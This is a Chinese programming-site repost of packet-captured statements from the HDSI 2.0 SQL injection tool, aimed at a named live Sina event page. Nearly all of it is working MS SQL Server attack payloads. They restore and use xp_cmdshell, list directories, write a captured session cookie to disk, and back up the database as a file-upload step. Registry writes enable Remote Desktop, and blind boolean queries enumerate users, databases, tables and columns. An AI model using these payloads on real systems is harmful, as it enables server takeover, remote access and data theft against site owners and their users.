Delphi

本类阅读TOP10

·分布式网络考试系统原型分析及实现
·游戏外挂设计技术探讨①
·使用HOOK随心监视Windows
·Delphi 水晶报表打包解决
·试题库开发中非文本数据的处理
·如何将几个DBGRID里的内容导入同一个EXCEL表中....的问题
·如何使用Delphi设计强大的服务器程序
·工人线程中关闭窗体的实现
·用DLL方式封装MDI子窗体。
·支持XP下托盘栏气球提示的托盘单元

分类导航
VC语言Delphi
VB语言ASP
PerlJava
Script数据库
其他语言游戏开发
文件格式网站制作
软件工程.NET开发
hdsi2.0 sql注入部分抓包分析语句

作者:未知 来源:月光软件站 加入时间:2005-6-5 月光软件站

hdsi2.0 sql注入部分抓包分析语句


恢复cmd

;insert tb1 exec master..xp_cmdshell'net user '--

;exec master.dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll'--


执行命令:

sql: ;ipconfig -all--

dos:

;Drop table comd_list ;CREATE TABLE comd_list (ComResult nvarchar(1000)) INSERT comd_list EXEC MASTER..xp_cmdshell 
"ipconfig 

-all"--


GET /plaza/event/new/crnt_event_view.asp?event_id=57

And (Select char(94)+Cast(Count(1) as varchar(8000))+char(94) From [comd_list] Where 1=1)>0


列目录:
c:   jiaozhu 临时表

;drop table jiaozhu;CREATE TABLE jiaozhu(DirName VARCHAR(100), DirAtt VARCHAR(100),DirFile VARCHAR(100)) INSERT jiaozhu 
EXEC 

MASTER..XP_dirtree "c:",1,1--

GET /plaza/event/new/crnt_event_view.asp?event_id=57

And (Select char(94)+Cast(Count(1) as varchar(8000))+char(94) From [jiaozhu] Where 1=1)>0

上传文件:

本地路径:C:\Inetpub\wwwroot\cook.txt   保存位置:c:

数据库存储过程:

;exec master..xp_cmdshell ' echo 

cdb_sid=3UrzOV;%20cdb_cookietime=2592000;%20cdb_auth=VgcCBAJbVQxVAVMCVghTBFJUUQYDBQdTV1BWVQoKAQE6PwNX;%
20cdb_visitedfid=12;%2

0cdb_oldtopics=D8D>c:\'--


数据库备份:(上传后删除临时表)

;Drop table [xiaopan];create table [dbo].[xiaopan] ([cmd] [text])--

;insert into xiaopan(cmd) values(' echoStr ')--

;declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s='c:/' backup database @a to [email protected] WITH 
DIFFERENTIAL,FORMAT--

;Drop table [xiaopan]--


开启3389:

;declare @r varchar(255) set @r='hkey_local_machine'exec master..xp_regwrite 

@r,'software\microsoft\windows\currentversion\netcache','enable','reg_sz','0';-
---

;declare @r varchar(255) set @r='hkey_local_machine'exec master..xp_regwrite @r,'software\microsoft\windows 

nt\currentversion\winlogon','shutdownwithoutlogon','reg_sz','0';----

;declare @r varchar(255) set @r='hkey_local_machine'exec master..xp_regwrite 

@r,'software\policies\microsoft\windows\installer','enableadmintsremote','reg_dword',1;----

;declare @r varchar(255) set @r='hkey_local_machine'exec master..xp_regwrite @r,'system\currentcontrolset\control
\terminal 

servert','senabled','reg_dword',1;----

;declare @r varchar(255) set @r='hkey_local_machine'exec master..xp_regwrite 

@r,'system\currentcontrolset\services\termdd','start','reg_dword',2;----


;declare @r varchar(255) set @r='hkey_local_machine'exec master..xp_regwrite 

@r,'system\currentcontrolset\services\termservice','start','reg_dword',2;----


;declare @r varchar(255) set @r='hkey_local_machine'exec master..xp_regwrite 'hkey_users','.default\keyboard 

layout\toggle','hotkey','reg_sz','1';----

;declare @r varchar(255) set @r='hkey_local_machine'exec master..xp_cmdshell 'iisreset /reboot';----


注入分析:数字型 SQL错误提示关闭 开启 access

使用关键字 宝石公园“你玩 我抽”中奖名单公布

http://igame.sina.com.cn/plaza/event/new/crnt_event_view.asp?event_id=57

多句查询 支持
子查询   支持
权限     public
当前用户 dbo
当前库   event

;create table t_jiaozhu(jiaozhu varchar(200))

And 1=1
And 1=2
And (Select Count(1) from SYSObjects)>0
and (select len(user))<32
;declare @a int--
And (IS_SRVROLEMEMBER('sysadmin'))=1
And (IS_MEMBER('db_owner'))=1
and (select len(user))<16
and (select len(user))<4
and (select len(user))<2
and (select len(user))<3
and (select len(user))<3
and (select len(user))<4
and (select ascii(substring(user,1,1)))<80
and (select ascii(substring(user,2,1)))<80
and (select ascii(substring(user,3,1)))<80
and (select ascii(substring(user,1,1)))<104
and (select ascii(substring(user,2,1)))<104
and (select ascii(substring(user,3,1)))<104
and (select ascii(substring(user,1,1)))<92
and (select ascii(substring(user,2,1)))<92
and (select ascii(substring(user,3,1)))<116
and (select ascii(substring(user,1,1)))<98
...
...
...

and (select len(db_name()))<16
and (select len(db_name()))<8
and (select len(db_name()))<4
...
...
...

and (select ascii(substring(db_name(),1,1)))<80
and (select ascii(substring(db_name(),2,1)))<80
and (select ascii(substring(db_name(),5,1)))<85


跨库:

猜解数据库:

GET

and (Select top 1 len(name) from (Select top 2 dbid,name from [master]..[sysdatabases] ) T order by dbid desc) <8
and (Select top 1 len(name) from (Select top 2 dbid,name from [master]..[sysdatabases] ) T order by dbid desc) <4
and (Select top 1 len(name) from (Select top 2 dbid,name from [master]..[sysdatabases] ) T order by dbid desc) <6
and (Select top 1 len(name) from (Select top 2 dbid,name from [master]..[sysdatabases] ) T order by dbid desc) <7
...
...
...

and (Select top 1 ascii(substring(name,2,1)) from (Select top 2 dbid,name from [master]..[sysdatabases] ) T order by 
dbid 

desc) <104
and (Select top 1 ascii(substring(name,3,1)) from (Select top 2 dbid,name from [master]..[sysdatabases] ) T order by 
dbid 

desc) <104
...
...
...


and (Select top 1 len(name) from (Select top 4 dbid,name from [master]..[sysdatabases] ) T order by dbid desc) <5


master 不是sa权限,不能跨库


猜解表名:

EventCategory

GET 
and (Select top 1 unicode(substring(name,2,1)) from(Select top 1 id,name from [EVENT]..sysobjects where xtype=char(85)) 
T 

order by id desc) < 80

and (Select top 1 unicode(substring(name,11,1)) from(Select top 1 id,name from [EVENT]..sysobjects where xtype=char
(85)) T 

order by id desc) < 80

and (Select top 1 unicode(substring(name,12,1)) from(Select top 1 id,name from [EVENT]..sysobjects where xtype=char
(85)) T 

order by id desc) < 80


and (Select top 1 unicode(substring(name,6,1)) from(Select top 1 id,name from [EVENT]..sysobjects where xtype=char(85)) 
T 

order by id desc) < 80


猜解列名:

GET 

and (select count(1) from EVENT..syscolumns A,EVENT..sysobjects B where A.id=B.id and B.name='EventCategory')<32
and (select count(1) from EVENT..syscolumns A,EVENT..sysobjects B where A.id=B.id and B.name='EventCategory')<48
and (select count(1) from EVENT..syscolumns A,EVENT..sysobjects B where A.id=B.id and B.name='EventCategory')<56
and (select count(1) from EVENT..syscolumns A,EVENT..sysobjects B where A.id=B.id and B.name='EventCategory')<60
and (select count(1) from EVENT..syscolumns A,EVENT..sysobjects B where A.id=B.id and B.name='EventCategory')<62
and (select top 1 len(name) from ( select top 1 A.id,A.name from EVENT..syscolumns A,EVENT..sysobjects B where 
A.id=B.id and 

B.name='EventCategory' order by A.name desc) T order by name asc )<35
 



相关文章

相关软件




月光软件源码下载编程文档电脑教程网站优化网址导航网络文学游戏天地生活休闲写作范文安妮宝贝站内搜索
电脑技术编程开发网络专区谈天说地情感世界游戏元素分类游戏热门游戏体育运动手机专区业余爱好影视沙龙
音乐天地数码广场教育园地科学大观古今纵横谈股论金人文艺术医学保健动漫图酷二手专区地方风情各行各业

月光软件站·版权所有